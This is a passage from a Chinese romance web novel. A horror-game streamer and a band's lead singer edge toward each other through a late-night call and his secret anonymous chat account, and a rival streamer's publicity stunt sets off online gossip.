“身高180cm以上,长相过得去就行,性格要温柔一点,懂礼貌一些,学历的话,至少要和我差不多吧,明城大学或以上学校,职业体面一些就可以。”
客服小心:[以上就是对方的要求,我想来想去,如此优秀的男人,咱们全站就只有你一个,所以这个艰巨的任务就只能交给你啦!]
客服小心:[星星眼.JPG]
徐然收回手机,这么一会儿的功夫,已经把薛明明的所有亲朋好友全都问候了遍。
他低头,咬牙切齿地在手机上打字,准备回绝。
忽然,却听身旁的人慢慢悠悠地说:“你跟她说你愿意接单。”
徐然:“啊???”
陈颂垂睫,语气冷清却有股说不上来的莫名:“到时候客服把对方联系方式推给你的时候,你直接转给我就行。”
12. 夜深深
地下停车场安静又空旷,空气里漂浮着难闻的汽油味,混杂一点物业点的不知名线香。
陈颂恍若丝毫不觉得自己说的话有什么问题似的,丢下这句话,便跨步朝自己停车的方向走去。
徐然跟过去,用上自己的毕生智商猜测道:“怎么,遇上认识的人了?”
陈颂指节碰了下自己的鼻尖,语气有些不确定:“还需要确认一下。”
徐然说:“该不会就是你那个不知道算不算喜欢上人家的……那个对象吧?”
他这话有点儿拗口。
陈颂双手插兜懒散走在前面,没说话,半晌才微微侧过头,极轻且无奈地叹了声气,他轻哂:“嗯。”
徐然咂摸着他那声叹息,后知后觉地骂了句脏话:“……这简直劲爆大消息。”
他有点好奇:“谁啊?我见过吗?”
陈颂又开始打哑谜:“不知道算不算。”
“神经啊!”徐然从裤兜里摸出一包烟抽了根衔在嘴里,又把烟盒递到陈颂面前。
陈颂低头看了一眼,摸出打火机也给自己点了支烟。
话题讲到这里,陈颂也没着急走了,开了车门散散气,两人倚在车边说话。
徐然说:“看来这次是来真的了,你多久没抽烟了?”
陈颂没有烟瘾,平日里能不抽烟就基本上不碰,就算有时候想抽了,也只是拿根烟咬在嘴里过过瘾。
他抽烟的姿势很好看,细细的烟卷在他骨节匀称的手指间显得格外性感。
他闻言轻笑了声,轻轻慢慢地吐了个烟圈,眼下那颗小痣在青白烟雾的遮掩下,看着冷淡又蛊。
陈颂淡淡“嗯”了声,没否认。
顿了几秒才懒散笑着解释:“自己还没想明白的事儿,也没必要跟别人提她的名字,免得到时候还给人添不必要的困扰。”
陈颂做事一直这样,说他过分有原则,但他对朋友又都很包容。
说他原则感不强,但在这样细节的地方他又总是处理得很妥帖周到,让人挑不出错处,仿佛是刻在骨子里的修养。
徐然理解地点点头。
他喝得有点多,地下室又不透气。
陈颂瞥见他站都有点站不稳,抬了抬下颌:“行了,你赶紧上去吧,再晚点上面那群人该把你家都拆了。”
徐然笑了声:“行,不跟你客气,你开车慢点,到家了跟我说一声。”
“知道。”
想了想,陈颂又说:“这事儿你先别跟别人说……”
话没说完,却被徐然打断:“我懂我懂,你还不相信哥哥我吗?”
-
梁岁宜回到学校时,已经晚上十点半。
虽然她是打车回来的,但中途还是难免淋了雨,匆匆冲了个热水澡出来。
坐在桌边擦头发时,发现手机上有两个未接来电。
都是温娣打来的。
看了眼时间,估计她现在已经睡下了。
梁岁宜只好给她回了条短信:[刚刚在忙,您给我打电话有什么事吗?]
没想到温娣还没睡,很快回了电话过来:“我也没什么事,就是想问问你什么时候放假?”
梁岁宜抿了抿唇:“最近都比较忙。”
温娣说:“一周七天,一天空都抽不出来吗?”
梁岁宜问:“您有什么事吗?”
“我还能有什么事?”不知是不是梁岁宜过于客气的语气又刺激到了她,温娣说,“我是你妈妈,给你打电话一定要有什么事吗?”
梁岁宜语气稍顿:“……您就非要曲解我的意思吗?”
温娣哼了声:“你就跟你爸一样,心肠硬得跟石头一样,永远只会叫人寒心……”
“妈妈。”梁岁宜打断她。
温娣也像是怔愣了一瞬,语气缓和下来:“我生病了,最近状态不太好,有时候会胡言乱语。”
梁岁宜没接这个话。
温娣又说:“我就是想问问你,之前你不是说谈了男朋友,什么时候带回来给我看看?”
静默了须臾。
梁岁宜:“再说吧。”
“再说是什么时候,你给我个具体的时间。”
她现在根本就没有恋爱对象,哪里能提供出具体的时间?
梁岁宜:“……我需要问一下他的具体时间,等确定下来了我再告诉您,行吗?”
“不要敷衍我。”温娣沉默了一会儿,声音又开始哽咽,“我知道我这个妈妈做得很不称职,我也只是想确认我女儿会有个好的归宿。”
梁岁宜张了张嘴,心里面一时很多念头涌过,最后她只是深吸了一口气,淡淡“嗯”了声。
挂掉电话后,梁岁宜在原地发了会儿呆。
一时也没有睡意。
她索性开了电脑,打开直播软件。
开直播前,她习惯性地又看了眼后台。
鼓神依旧没有回复她私信。
这个点,夜猫子们都还没睡,她的直播刚打开,瞬间就涌进来好几百人。
【yoyoyo失踪人口回归】
【老婆今天打算播什么?】
梁岁宜扫了眼弹幕,说:“今天就播《西西弗之死》吧。”
《西西弗之死》也是最近很火的一款恐怖游戏,和《无人知晓》不同,这个游戏之所以火是因为它是真的纯恐怖。
【真的假的,主播要播这个我就退出直播间了】
【只能说老婆真的好勇,上一个播这个游戏的已经霸榜鬼畜区了】
【笑死,你们说的是狂奔的小奶瓶吧,他那期直播我也看过,笑得头掉……】
和弹幕上的热闹不同,梁岁宜今晚出奇的安静。
她很快速地打开游戏,浏览了一下游戏规则,便默不作声地进入了游戏。
这个游戏做
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得真的蛮吓人,除了音效和画面本身就很血.腥恐怖以外,还有致死量的jump scare时不时出现。
但梁岁宜对这种恐怖游戏的承受度挺高的。
如果是以往,她可能会配合性地活跃一下气氛,但今天她实在没有心情。
【是错觉吗?怎么感觉主播今天心情不太好】
【我也感觉……都不怎么说话】
【不过,直播《西西弗之死》居然能保持全程不尖叫,主播是个狠人】
【该不会根本就没打开麦克风吧?】
梁岁宜看到这条,随口答道:“开了。”
想了想,自己现在毕竟是在营业,于是边操纵着鼠标继续往后走剧情,边解释道:“确实心情不太好。”
【怎么了?发生什么事情了吗?】
梁岁宜眨了眨眼,不知道是不是因为电脑看久了,她感觉眼睛酸涩得厉害。
“也没有什么,就是忽然……想我外婆了。”
【我也想我外婆了……】
【呜呜想外婆就去见她呀】
【有时候也不是想见就能见的吧……】
眼看弹幕气氛越来越低迷,梁岁宜深深吸了一口气,提起唇角想要换个开心的话题。
忽然,屏幕上飘过两条金光闪闪的弹幕:
【鼓神:摸摸头】
【鼓神:主播如果实在想念外婆,又没办法见到她的话,跟我们说说外婆的故事吧】
梁岁宜微微一愣,没有回应鼓神的话,只是道:“这位……鼓神同学,麻烦看一下私信。”
鼓神很快回复:【不用,我没什么想看的,主播如果实在过意不去,就多开心一点?】
梁岁宜看到这句话,猜测此时正在观看直播的大概就是那位鼓神的朋友本人。
梁岁宜皱了皱鼻子,只好无奈道:“好吧,如果之后您有什么想看的,也可以和我说。”
她现在正在直播,也不好一直和一个人说话。
很快,她就继续投入到游戏剧情中去了。
【该说不说,老婆的胆子似乎比我想象中大……】
【慕名而来,主播是不是之前玩过,不然怎么一点也不会被吓到?】
梁岁宜说:“没有玩过。都是假的,所以不害怕。”
【哈哈哈哈哈发现老婆心情不好的时候,说话直白得有点可爱】
……
播了大概两个小时,梁岁宜就把游戏存档下播了。
已经凌晨一点钟。
之前她头发还没吹就接了温娣的电话,后面也忘记吹,此时头发已经风干,凌乱地缀在她肩头。
她找了把梳子想要把头发梳顺。
这时,手机突然响了起来。
谁会在半夜打电话过来?
梁岁宜皱眉,拿起来一看。
是微信通话。
来电显示:SONG。
13. 明月夜
犹豫了一瞬,梁岁宜接起。
听筒那边先是一阵窸窸窣窣的衣料摩擦的声音,随后才是一道沉冽冷质的男声,隔了段距离,像是在笑:“……我?我能有什么秘密。”
“想多了吧你。”
“游天明你这张嘴不想要可以捐了。”
游天明是稳稳的大名,梁岁宜曾在他们的采访里听说过。
梁岁宜眨了眨眼,又听靠手机最近的那道声音轻啧了声,随后十分欠扁地道:“哦,对不起,忘记了,估计捐不出去,还是扔掉为好。”
紧接着听筒里就是一阵兵荒马乱的杂音,梁岁宜从那堆乱七八糟的声音里还能捕捉到几道稳稳崩溃的破音。
然后是“砰”地一声巨响。
手机好像落到了地上。
然后又被人捡起。
“颂哥!!!”稳稳再次大叫,“家丑不可外扬,你毒舌的时候怎么还给人家梁主播电话直播啊??!这要是传出去,被人家知道你私底下竟然是这副形象,咱们乐队的周边还卖不卖得掉啦!”
电话应该是不小心拨通的,稳稳也没有真的在担心乐队的形象,这么大喊大叫,纯粹是为了报复陈颂。
他们今天收工早,陈颂从徐然那边回来时,几人坐在录音室的会客厅里正商量要点什么外卖。
陈颂看他们一个个灰头土脸的样子,直接做了决定带他们去吃附近那家网红大排档。
深夜的大排档装修蛮简陋,屋里虽然开了空调,但空气里还是有股难耐的闷热,于是他们几个索性直接坐到了门口临时简易搭建的木桌边。
这个点客人不算多,门口的桌边零星坐着几对情侣,还有一些半夜打完球来吃夜宵的高中生。
听见稳稳这一声惊呼,立马有人狐疑地望过来。
西红柿毁灭计划是乐队,也拥有着乐队一贯的传统——除了主唱以外,其余人的长相在路人那儿都是模糊的。
因此,四个人里除了陈颂以外,其他三个都大喇喇露着脸。
盛嘉见状瞬间抬手将陈颂的帽子往下压了压。
哆咪转过头挤出一个恰到好处的营业假笑:“不好意思,他今天没吃药,打扰了。”
话音落,就被稳稳从底下踢了一脚。
放在桌面上的电话显示还在通话中。
沉寂了几秒,听筒里传来女生乖且犹豫的一句:“没关系的,我刚刚什么都没听到。”
“噗——!”
没想到她居然会认真回答,稳稳喝进嘴里的一口啤酒瞬间喷了出来。
“能不能有点儿素质?”哆咪又要骂人。
陈颂垂着眼,大刀阔斧地坐在那只简陋的塑料凳上。
他人长得高,两条腿笔挺修长,左手虚握成拳懒洋洋搭在桌子上,闻言,眼里不禁也蓄起一丝笑意。
虽然刚刚哆咪对旁边的路人解释过了,但他们几个年轻男人,个个气质不俗,周围还是难免落了很多目光。
陈颂本来就不饿,这会儿干脆掏出口罩戴上,随手从桌子上捞起手机,关了扩音,懒散道:“我去结账。”
此时收银台那儿站了不少人,结账还需要排队。
陈颂低头看了眼手机未结束的通话,长睫遮掩下的神色露出几分轻哂。
深夜的大排档里声音窸窣,似蒙着一层玻璃罩似的嘈杂。
今天一整天都在录音,出门时陈颂随手从起居室里扯了件白T换上,他是典型的冷白皮,骨架纤长漂亮,肩背平直,人看着有几分倦怠,却并不显疲沓,露出的一点眼角锋利干净。
一看就是很绝的那种帅哥。
忽然有人从后面拽了下他的衣角,陈颂视线从手机上移开,淡淡落在拽他衣服的那只手上。
小姑娘看起来年纪不大,脸上化着很夸张艳丽的妆容,开口讲话时却很腼腆:“你好,可、可以加一下你的联系方式吗?”
憋了一口气才将一句话讲完,脸上的红色透过厚重的粉质漫出来。
稳稳他们几个隔老远就看见这情况,兴致盎然地摸起手机录视频。
陈颂挑起一边眉梢,有些错愕地看向面前的人。
小姑娘紧张地抬头看他一眼,很快又别开视线:“今天、今天是我的生日,这是我的生日愿望,哥哥你可以满足我吗?”
这话落音,不待陈颂答话,哆咪先是“卧槽”了一声:“现在的人搭讪方式真是五花八门。”
“无所不用其极。”他又补充。
“我得学习。”再次补充。
稳稳深以为然地点了点头:“真是吾辈楷模。”
大概看热闹是人类的本能,周围其他的食客也若有似无将目光投过来,陈颂手指有一下没一下摸索着手机的边缘。
面前的小姑娘问完那句话后,倒是鼓起勇气仰起头了。
少年人的喜欢都很直白,就那样毫无保留地将渴望暴露在眼睛里。
陈颂指骨隔着口罩轻挠了一下鼻梁骨,在众人的注视下,竟然一时不知道该怎么回复。
拒绝吧,又怕小姑娘被人盯着感觉羞耻。
但他也不太可能同意对方加联系方式的要求。
沉默片瞬,他扬了扬自己的手机,声线被闷在口罩里漫出几分清沉散漫的笑意。
“抱歉,我正在和女朋友打电话。”
比面前要联系方式的女生更先懵怔住的,是电话那头的梁岁宜。
虽然知道他只是权宜之计,临时找的借口,但她的耳根子还是不可遏制地红了起来。
后面那个女生又说了些什么,梁岁宜没有听清。
直到听筒里传来男人磁性干净的声音:“抱歉,好
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像不小心利用了你。”
他讲话时声音里带了点懒洋洋的笑意,有几分百无聊赖的意思。
梁岁宜摸了摸鼻尖:“没事,理解的。”
陈颂像是随口问:“这么晚还没睡?”
“正准备睡。”
梁岁宜走到窗边,发现今晚的月亮格外明亮漂亮。
下意识地,她问陈颂:“你那边能看到月亮吗?”
“嗯?”似是意外她突然转开的话题,陈颂极短促地抬了抬眼,他此时正站在大排档的门廊下,门廊边挂了两盏很简单的白炽灯。
灯光冷白惨淡,萧条地拢着他高高瘦瘦的身形,慵懒又清贵。
前面排队的人都已经结完账,收银员将账单放到他面前。
“稍等,我付个款。”
简单交待之后,陈颂调出自己付款的页面,“叮——”一下,付款成功。
收银员递来小票,陈颂随手捏在掌心。
稳稳他们几个还没吃好,桌旁的地面上横七竖八丢了许多啤酒瓶。
陈颂扫了他们一眼,径自走到旁边一处僻静处。
电话那头的小姑娘一直没说话,等了这么久,连催促的一句都没有,就那样安静耐心,听筒里只听得见对方绵长匀称的呼吸声。
喉咙莫名就有点痒,陈颂左手插进裤兜里。
烟瘾忽然上来。
那包烟还是之前录音的时候他从哆咪那儿没收上来的。
最近他们经常熬夜录音,哆咪为了醒神,抽烟的频率有点高。
陈颂怕他年纪轻轻就肺结核,不由分说地把他手里的烟就拿走了,后来一直忘记还他。
此时倒派上用场。
他单手从烟盒里抽了支烟出来,咬进嘴里之后,又抽出打火机。
黑暗里猩红火光一闪。
陈颂深深吸了一口,这才仰头去看天上的月亮。
快到农历月中,今天的月亮是很好看,影影绰绰缀在一片高大树木后边,有一种朦胧婉约的美。
陈颂仰着头,后颈衣领被撑起来,微仰的下颌骨线条锋利冷淡。
他将口罩稍稍往下拉了点,狭长眼尾弯起一道漂亮弧度,想起刚刚小姑娘的询问,语调散淡道:“看到了。”
话音落,却许久没听到那边的回应,大排档这边很是嘈杂,鼎沸人声若有若无传来。
整个世界仿佛只有电话的另一端是静谧的一隅。
这次连女生的呼吸声都变得极其微弱,夏夜微醺的晚风从电话的另一端慢慢地漫过来。
陈颂静静听了半晌,忽地垂头失笑。
他嘴里咬着烟,弓起后脊低头吸燃,然后打开微信里的摄像头,用拿烟的那只手对着月亮拍了张照片,随手发进对方的聊天框里。
这才漫不经心地挂掉电话。
14. 夜无眠
凌晨两点钟,梁岁宜是被冻醒的。
昨天她几乎在外面奔波了一整天,坐在阳台的小沙发上和陈颂讲电话,等着等着不自觉就睡着了。
耳机还在她耳朵上挂着,电话显示在大约一个多小时以前就被挂掉了。
梁岁宜揉了揉自己被耳机硌得发疼的耳蜗,低头看到屏幕里陈颂挂掉电话之前发来的照片时,眼睛蓦地睁大。
寝室里的灯还没熄灭,微弱的光亮从屋里泄出来一点。
梁岁宜点进图片,双指放大。
高楼耸立与树影婆娑之间,明月高悬。
紧跟在照片下面的,还有男人发来的两条语音。
第一条。
“看到了。”
男人的声音清冷中挟着几分促狭笑意,停了大概五分钟才又发来另一条。
“晚安,梁主播。”
梁岁宜捏住自己烫得要命的耳朵尖,心脏亦不受控制地嗡鸣鼓噪起来。
她按捺下自己跳动得有些过快的心脏。
反反复复将他的消息又从头到尾阅读了好几遍。
想回点什么。
但又担心自己深更半夜就回消息过去,会不会显得太急不可耐。
梁岁宜站起身,像丢烫手山芋般将手机丢到了电脑桌上,走过去给自己倒了一杯冷水,咕咚咚灌了几口。
——实在无法平静。
五分钟后,梁岁宜再次登上q.q,找到置顶的熟悉账号。
梁岁宜:[我发现,他还是会让我心动。]
半分钟后,梁岁宜又发:[但我不想这样。]
发完以后,她坐在床上,又将和对方的消息往上翻了翻。
这个账号是她在高二上学期的时候加上的,忘记具体是怎么加的了,当时她发现对方和自己同城,且年龄相仿,而且她的很多想法对方都能够理解。
于是这么多年一直还断断续续地联系着。
不过,对方的性格比较高冷,昵称都只是一个简单的字母“X”,平时梁岁宜发过去的消息,她也不是次次都回。
譬如上次,她最后那两条消息对方就没有回复。
梁岁宜以为这次的消息,也会石沉大海。
没想到,这么晚了,对方居然也还没有睡觉。
X:[你又遇到他了]
梁岁宜:[是]
梁岁宜:[他是一个很好的人,对他身边的每个人都很好,我告诉自己不要多想,但每次他对我展现出温柔的时候,我还是会忍不住感到悸动。]
打下这行字后,梁岁宜有些无奈地搓了下脸。
不知是不是因为太晚了,这条消息发过去很久,对方都没有回复。
梁岁宜将下颌埋进双膝里,半晌,才有些自暴自弃地又发了一句:[算了,你不用想办法安慰我了,其实我和他本来就没有可能,想太多也只会给自己增加苦恼。]
由于太想把这个话题岔开,梁岁宜的手指在屏幕上戳戳点点半天,干巴巴地又问:[说起来,你最近怎么样啦?]
虽然认识很多年,但她和X一直保持在互联网上的君子之交,两人甚至从来都没有问过对方的姓名,偶尔聊到一点三次元信息,也都是深度打码的。
陈颂此时正对着手机出神。
他们吃完夜宵,因为时间太晚,干脆都没回家,直接睡在录音室里了。
稳稳说自己之前有一段鼓的编曲稍微有点不顺畅,回去之后就埋头坐在电脑前开始认真干活。
哆咪则是窝在沙发里开始打游戏。
盛嘉的作息是他们几个人里最规律的一个,回来之后就钻进起居室里睡下了。
哆咪打完一句游戏,心满意足地伸了个懒腰,走到冰箱前拿了瓶啤酒抠开拉环,回头瞅见陈颂抻着两条笔直的长腿,姿态松散随意地靠在椅子上,室内昏弱的光打在他侧脸上,他如同一座不会动的雕塑般,不知道保持这样的姿势在那儿坐了多久了。
不由得走过去关心道:“看什么呢?”
手机屏幕灭了又被他点亮,陈颂微垂着头,稍显凌乱的碎发遮住了眼睛,只能看见嘴角勾起一点微微嘲讽的弧度。
“没什么。”
陈颂按灭手机,瞥了眼哆咪手上的冰啤,朝他抬了抬下颌:“给我也来一瓶。”
哆咪见鬼似地看他一眼:“你不是最烦喝啤酒的吗?”
见陈颂懒得搭理他的样子,哆咪狐疑地走到冰箱边又拿了一罐冰啤丢给他。
陈颂依旧保持着先前的姿势,指节轻微用力,将拉环拉开。
哆咪小声问他:“到底咋了啊?该不会是咱们乐队快干不下去要解散了吧?”
陈颂微弓着背,单手搭在腿上,没有什么表情地掀起眼帘看他,眼神明晃晃写的是:你弱智?
哆咪纳闷地啧了声:“除了这个我实在想不到还有别的什么事能让你这样了。”
屋子里空调打得很低,到了夜间,便显得有些湿冷。
哆咪走到沙发那边拽了个外套给自己披上,回身时,发现陈颂手里那罐啤酒已经被他喝掉一半。
啤酒刚从冰箱里拿出来,外沿冒着冰冷水汽,将他指节紧得青润冷白。
溢出来的水珠顺着他的下巴低落下来,没入被他的锁骨撑起来的棉质衣领。
哆咪不由得转头看了眼稳稳。
他们的鼓手先生仍旧沉迷于自己伟大的创作中无法自拔,耳朵上罩了个超大号耳机,估计压根听不见他们这边的声音。
哆咪干脆拖了把椅子坐过去,什么话都不说,就只是饶有兴味地打量着陈颂。
一副看好戏的样子。
陈颂薄薄的眼皮漫不经心地撩起,眼尾稍微染上几分醉意,人看着更加冷淡不羁。
哆咪说:“根据我博览偶像剧的经验来讲,如果不是工作的问题,那就是感情问题了。”
陈颂仰靠在椅子上,冷淡地嗯一声没说话。
哆咪刚刚只是随口一说,压根没想到陈颂能搭理他。
他压下心里的惊讶,怕万一自己表现得太夸张,陈颂又不说话了。
于是故作若无其事地说:“谁啊?上次那个大学生吗?”
不知他这句话怎么戳到陈颂了,男人勾起唇角,极其冷峭且短促地轻笑了声。
手里的手机又亮起。
屏幕另一头的小姑娘明显转移话题地问:[说起来,你最近怎么样啦?]
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>哆咪也注意到了陈颂在看到手机消息时那陡然淡下去的神色,他抱臂坐在一边,准备等陈颂回完消息再继续跟他谈心。
然后就看见男人毫不留情按灭了屏幕。
啪嗒轻响。
手机被丢到了旁边的矮几上。
陈颂顺手将矮几上的烟盒也捞起来了。
没抽,就只是在手里拿着。
哆咪心里虽然好奇得要命,但想到大少爷的脾气,还是眼观鼻鼻观心地决定先不说话。
陈颂这人平时看着温温和和好像没什么脾气的样子,但到底从小养尊处优出来的,多少有点少爷脾性。
心情不好的时候就表现得特别明显。
虽然不会对着人莫名其妙地发火,但周身的冷气压还挺让人不想招惹的。
烟盒被他拿在手里把玩半天,然后又极其烦躁地丢回到了桌子上。
那罐冰啤也被他喝完了,金属的罐子捏在手里,有点变形。
不知过了多久,陈颂才冷淡凉薄地问:“如果一个人回复了别人的消息,却不回复你,通常是因为什么?”
哆咪咂摸过味儿来了。
原来是大学生跟别人聊天却不乐意跟他聊。
哆咪有点惊讶:“还有人不吃你这一套?”
陈颂喉腔里压着几分自嘲的轻笑,良久才混不吝地掀起半边眼皮,嗯一声:“我也觉得挺稀奇的。”
X那个号一开始其实是边叙在用,那会儿他估计是看梁岁宜在家里总是被他妈阴阳怪气,担心小姑娘情绪堵在心里不好,于是就注册了一个账号假装陌生人去和梁岁宜聊。
为了获取小姑娘的信任,他还特地将性别设定为“女”。
但他平时实在是很少跟女孩子相处,心思也没那么细腻,有时候梁岁宜发来的消息他都不知道怎么回,就经常跑去跟陈颂求助。
后来他要出国了,想着伦敦和国内还隔着时差,就干脆把账号“过继”给陈颂了。
一开始陈颂其实不太想接的。
偶尔帮忙回复一下还行,要让他直接接下这个任务,就相当于平白负担起一个陌生人的心事。
这不符合他的行事习惯。
但那天不知怎么的,也许是他们一群人给边叙送别的那晚,稍微多喝了两口酒,他坐在自家别墅庭院的椅子上看星星时,脑海里不知怎么就浮现出那一双湿漉漉的眼。
鬼使神差就将这个委托接下了。
接下之后,他和梁岁宜聊得也不多。
主要是小姑娘本来话就不多,有时候有些消息他觉得也并不需要回复。
她看起来只是需要一个出口,旁人的言语并不能够抚平她心中的波澜。
大概因为他经常不回复,慢慢地,梁岁宜好像真的开始把他当树洞了。
她开始越来越经常说起她喜欢的人。
但从不说细节,来来回回,都是她曲折缱绻的心情。
陈颂一直都知道梁岁宜有一个喜欢了很多年的人。
这没有什么。
原本和他无关。
但她不回他的消息,却因为那个所谓喜欢的人在这样潮热闷湿的夏夜辗转难眠。
——他突然有点不爽了。
15. 霞光漫
第二天,梁岁宜是被闵春她们几个在寝室群里的聊天轰炸吵醒的。
她今天没班,准备集中时间去看一下中介推荐给她的房子,时间约在了下午。
因此,上午可以睡个懒觉。
谁知,才刚八点半,她就被手机不停震动的声音吵醒了。
姜思淼:[!!!]
姜思淼:[@梁岁宜 宜宜你上热搜了!!!]
梁岁宜一愣,点开她发来的链接,发现是昨晚她直播的录屏,被网友和另一个名叫“狂奔的小奶瓶”的主播的游戏回放剪辑到了一起。
剪辑视频的人很有耐心,整整剪了四十分钟。
整个画面看起来极为搞笑。
一个全程淡定冷酷,另一个人则像是打翻了开水壶似地一直嗷嗷直叫。
【我笑晕了,能不能给我们小奶瓶留个面子,这种视频请多来!】
【顺颂时宜真的好淡定啊,感觉理智得像个AI】
【该说不说还蛮有cp感的,有没有金主爸爸金主妈妈把他们两个抓起来来个联动?】
梁岁宜正看着,突然,姜思淼又在群里@她:[宜宜,那个小奶瓶在微博里喊话你了!]
闵春:[什么情况?]
姜思淼丢过来一个微博链接。
梁岁宜点进去。
@狂奔的小奶瓶:让大家见笑了,没想到会以这样的方式和姐姐官宣,我倒是很想跟姐姐直播联动,就是不知道@顺颂时宜愿不愿意?[星星眼.JPG]
方絮:[嗷嗷小奶狗!]
闵春:[但是不觉得有点油吗?]
姜思淼:[还好吧,现在小男孩都这样,我之前看过他直播,确实特可爱一弟弟!!]
梁岁宜对这个小奶瓶还是有点印象的,因为她当初刚刚开通直播,小奶瓶就已经是频道内大佬,当时梁岁宜在首页看到过他的直播推荐。
姜思淼分析:[跟他联动一下也挺好,他粉丝很多,给你涨涨人气!]
梁岁宜当初决定直播本来就只是为了训练自己的胆子,因此并没有和圈内任何人有过交集,这会儿也对和小奶瓶联动没什么兴趣。
梁岁宜:[还是算了吧,当初开直播的目的也不是为了涨粉。]
姜思淼一想也是:[那你就不要搭理他好了,他艾特你估计也是想要抓住这波流量,你不回应,过两天热度就下去了。]
梁岁宜简单回了个表情包,就关掉了手机,想睡个回笼觉。
但翻来覆去也睡不着了。
她又拿出手机,想看看和中介的时间能不能改到上午。
聊天框往下一划,她又看到了陈颂的名字。
他们的聊天信息还停留在昨天陈颂最后的语音上。
梁岁宜的手指微微蜷曲了下。
有点想再听一遍。
但又觉得那样显得有点变.态。
她将被子拉过头顶,直到面部热度渐渐降下去,才长舒了一口气,给他回复。
梁岁宜:[不好意思,我昨天睡着了。]
梁岁宜:[小猪鞠躬.JPG]
梁岁宜:[小猪挥泪.JPG]
发完,她就迅速切出了聊天框。
然后把手机藏进了被子里面。
到底还是又睡了个回笼觉。
梁岁宜再醒来时,已经快到她和中介约定的时间。
她匆匆洗漱了一下,吃完午饭,便清清爽爽地出了门,
然而,理想很丰满,现实很骨感,中介带她看的那些房子,要么太旧太破,离上班的地方太远,要么价格太贵,她作为一个实习生实在无法负担得起。
中介看她纠结,劝道:“现在是暑假,很多大学生都准备开始实习了,房子越往后越不好租,你还是尽快决定。”
梁岁宜思忖了会儿,表示自己还要再想想。
和中介分开以后,梁岁宜拿起手机看了眼微信。
发现她上午发的消息,陈颂一直没回。
心里无端就有点低落。
她发现人的确是很贪心的,从前她觉得只要远远看着陈颂就好了,现在他回复消息的速度慢一点,她就开始忍不住思维发散。
明明现代人相处,晚回复消息,或者干脆不回复消息,都是很寻常的一件事。
况且,他和她根本就连朋友还算不上。
为了不让自己胡思乱想,梁岁宜决定还是将自己投放进工作里。
一整个下午,她都在整理昨天的采访音频,等所有的稿件都整理完毕,已经是下午四点。
梁岁宜重新打开手机,寝室群里又聊出了99+的消息。
她随便看了眼,前面还是在聊她和小奶瓶的事情。
估计是因为梁岁宜一直没有回复小奶瓶,下午的时候,网友硬是把这个事情刷上了热搜。
热搜词条就叫“顺颂时宜快回复小奶瓶”。
甚至,还有人热心地给他们两个建了cp超话,名字很特别,叫“人机之恋”。
梁岁宜是那个“机”。
梁岁宜:“。”
梁岁宜本来就在电视台工作,这些炒作的手段也看得多了,她自己并不想参与其中,因此,她也没有回应小奶瓶的打算。
现在热度正高,她整个人完全就是被架上去的。
顺应对方的话去回复,在接下来很长一段时间就必然要进行cp捆绑。
不顺应对方的话去回复,难免会被网友审判太清高。
她也无意成为旁人茶前饭后的谈资。
不如干脆装死。
梁岁宜将群消息再往后翻,则是姜思淼分享的一些关于西红柿毁灭计划路演信息。
梁岁宜扫下来,看到姜思淼还分享了一个直播间。
她点进去。
恰好是电影结束后的观众提问环节。
这种路演其实是演员的主场,陈颂他们几个完全是被抓来带人气的。
他们今天在这个电影院里不止一个厅里有路演,西红柿毁灭计划的四个人被分到了两边。
陈颂和盛嘉一组。
哆咪和稳稳一组。
电影的主演站在中间,陈颂和盛嘉自觉地往旁边站。
主持人见状,估计是觉得他们咖位蛮高,硬是把他们也推到了稍微靠中间的位置。
现场和直播间里都有挺多他们的粉丝。
梁岁宜扫了眼弹幕:
【嗷嗷嗷盛嘉今天的妆造好可爱,请把这个风格焊死!!】
【你颂哥还是一如既往的拽哈哈哈哈哈,电影院这个蓝色的光打在他脸上好看死了】
现场的观众也都很有梗,提问环节现场笑成一片。
这种活动通常除了真正的观众以外,还有一些电影宣发团队特意安排的网红或者明星来提问。
没想到狂奔的小奶瓶居然也在现场。
主持人适时地把他叫起来,狂奔的小奶瓶根据电影内容提了一个问题之后,主持人为了活跃气氛,又笑着问他:“所以,我可以悄悄问一下,你追到顺颂时宜了吗?”
她故意用“追”这个词,营造一种很暧昧的氛围。
小奶瓶大大方方朝镜头扬起一个笑容,无奈道:“姐姐太高冷,到现在还没理我。”
【哈哈哈哈哈也太惨了吧!!】
【顺颂时宜在高贵什么?该不会是故意的吧?搞得好像人家很想倒贴她似的】
【难道不是吗?的确是小奶瓶一直在单方面cue她啊】
【拜托,小奶瓶粉丝比她多多了好吧?】
弹幕很快就开始吵架。
梁岁宜将视线从弹幕上移开。
忽然听到主持人问:“我刚刚看到陈颂老师和盛嘉老师在说悄悄话,可以分享一下你们在聊什么吗?”
麦克风被递到陈颂和盛嘉的手里。
盛嘉微笑道:“其实也没什么,就是颂哥不怎么看直播,刚刚在问我小奶瓶老师是谁。”
他这话讲得直白,还故意称呼对方为“小奶瓶老师”。
小奶瓶的表情瞬间僵了下。
主持人也有些卡壳:“哈哈哈您
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真的太幽默了。”
主持人说完,立马开始准备转到下一个话题,突然却又听到陈颂不紧不慢地“嗯”了一声。
主持人原本想说的话硬生生被噎了回去,她下意识转头问陈颂:“陈颂老师您说什么?”
放映厅里一时安静下来,满场昏暗灯光里,只有屏幕前投出一片幽蓝光色,映着陈颂的神色有些惑人的冷淡。
梁岁宜的视线不由得落在他眼下那颗跳动的小痣上。
陈颂凑近话筒,修长干净的手指节微微凸起,泛出冷白色。
他眼皮轻掀,慢条斯理道:“就是觉得人家女孩子如果没有回复,就是不想掺和进这些事儿,这世上有人想成为众人视线的焦点,也有人只想守着小小的一隅过好自己的生活,就不要再打扰人家了?”
他讲话的声调慢悠悠的,又带着一股挥之不去的锐意。
小奶瓶的脸色彻底黑了下来。
主持人在一旁打圆场:“哈哈,陈颂老师说得对,大家也只是开个玩笑,希望没有打扰到顺颂时宜同学。”
盛嘉意外地侧头看了陈颂一眼,很快敛起讶异的神色继续微笑道:“所以说开玩笑要适可而止嘛。”
……
这件事到底还是上了热搜。
评论里有人认为陈颂非常有绅士风度,觉得小奶瓶的行为确实有点咄咄逼人了。
也有人表示陈颂实在有点多管闲事。
不过总体来讲,还是赞同陈颂的比较多。
下午六点钟,所有的路演都结束了。
西红柿毁灭计划的几个人前前后后回到保姆车里。
稳稳刚刚还在路上的时候就已经听说这段八卦了,一上车就好奇地瞅了瞅陈颂,又瞅了瞅盛嘉,又瞅了瞅陈颂,最后还是拿肩膀撞了下盛嘉的肩膀:“说说呗。”
盛嘉摸了摸鼻子,余光瞥一眼陈颂,好脾气地笑道:“说什么。”
